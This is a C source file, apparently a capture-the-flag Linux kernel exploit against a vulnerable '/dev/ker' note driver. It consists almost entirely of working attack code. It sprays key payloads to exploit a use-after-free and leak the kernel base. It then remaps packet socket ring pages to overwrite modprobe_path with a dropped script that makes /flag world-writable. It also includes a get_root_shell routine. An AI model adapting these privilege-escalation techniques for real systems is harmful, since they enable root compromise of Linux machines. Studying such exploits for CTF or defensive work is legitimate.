#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
int dev_fd; void add_note(char *con){ void *args = con; ioctl(dev_fd, 0x20, &args); } void free_note(){ ioctl(dev_fd, 0x30, "AAAAAAAA"); }
#include "key.h"
#include <sys/mman.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/if_ether.h>
void err_exit(char *s){ perror(s); exit(-1); } void unshare_setup(void) { char edit[0x100]; int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1); struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1); }
int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) puts("socket(AF_PACKET)"), exit(-1); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) puts("bind(AF_PACKET)"), exit(-1); return s; }
int pagealloc_pad(int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); }
size_t ker_offset; void edit_note(char *con){ void *args = con; ioctl(dev_fd, 0x50, &args); }
void get_flag(){ system("touch ./tmp/error"); int efd = open("./tmp/error", 2); write(efd, "\xff\xff\xff\xff", 4); close(efd); system("chmod +x ./tmp/error");
char *cmd = "#!/bin/sh\nchmod 777 /flag"; system("touch ./tmp/my_shell.sh"); int f = open("./tmp/my_shell.sh", 2); write(f, cmd, strlen(cmd)); close(f); system("chmod +x ./tmp/my_shell.sh");
system("./tmp/error"); char flag[0x1000]; int fd3 = open("/flag", 2); read(fd3, flag, 0x80); puts(flag); getchar(); }
int main(){
save_status(); bindCore(0); unshare_setup();
dev_fd = open("/dev/ker", 0); printf("dev_fd == %d\n", dev_fd);
add_note("AAAAAAAA"); free_note();
#define TOTAL_KEYS 200 int key_ids[TOTAL_KEYS]; char des[0x100]; char pay[0x100]; memset(des, 0, sizeof(des)); memset(pay, 0, sizeof(pay)); for(int i = 0; i < TOTAL_KEYS; i++){ memset(des, 'A'+i, 0x80); memset(pay, 'a'+i, 0x40-0x18); key_ids[i] = key_alloc(des, pay, 0x40-0x18); } free_note();
#define TOTAL_PFDS 200 int pfds[TOTAL_PFDS]; for(int i = 0; i < TOTAL_PFDS; i++){ pfds[i] = pagealloc_pad(8, 0x1000); if(pfds[i] < 0){ perror("pfds"); break; } }
int victim_kid = -1; size_t data[0x10000]; int keylen; for(int i = 0; i < TOTAL_KEYS; i++){ keylen = key_read(key_ids[i], data, 0x40-0x18); if(keylen > 0x28){ victim_kid = i; break; } } printf("victim_kid == %d\n", victim_kid);
for(int i = 0; i < TOTAL_KEYS; i++){ if(i == victim_kid) continue; key_revoke(key_ids[i]); }
size_t leak = 0LL; key_read(key_ids[victim_kid], data, keylen); for(int i = 0; i < 0x1000; i++){ if(data[i] >= 0xffffffff00000000){ if((data[i] & 0xffff) == 0xd250){ leak = data[i]; ker_offset = leak - 0xffffffff81d5d250; break; } if((data[i] & 0xffff) == 0x6070){ leak = data[i]; ker_offset = leak - 0xffffffff81e26070; break; } if((data[i] & 0xffff) == 0x8850){ leak = data[i]; ker_offset = leak - 0xffffffff81608850; break; } if((data[i] & 0xffff) == 0xca40){ leak = data[i]; ker_offset = leak - 0xffffffff8236ca40; break; } } } printf("leak == %p\n", (void *)leak);
printf("ker_offset == %p\n", (void *)ker_offset); size_t func_addr = ker_offset + 0xffffffff810fc6e0; size_t modprobe = ker_offset + 0xffffffff831d8ce0; printf("goal : %p\n", (void *)func_addr);
size_t goal_page = modprobe - (modprobe & 0xfff); edit_note(&goal_page);
char *pages[TOTAL_PFDS]; for(int i = 0; i < TOTAL_PFDS; i++){ pages[i] = mmap(NULL, 0x1000*8, PROT_READ|PROT_WRITE, MAP_SHARED, pfds[i], 0); if (pages[i] == MAP_FAILED) { printf("fail mmap id : %d, file descriptor == %d\n", i, pfds[i]); perror("mmap"); break; } } puts("mmap done"); getchar();
char file[] = "./tmp/my_shell.sh"; for(int i = 0; i < TOTAL_PFDS; i++){ printf("page == %p\n", pages[i]); memcpy(pages[i]+(modprobe&0xfff), file, strlen(file)); } puts("write done"); getchar(); get_flag(); while(1) ; }
|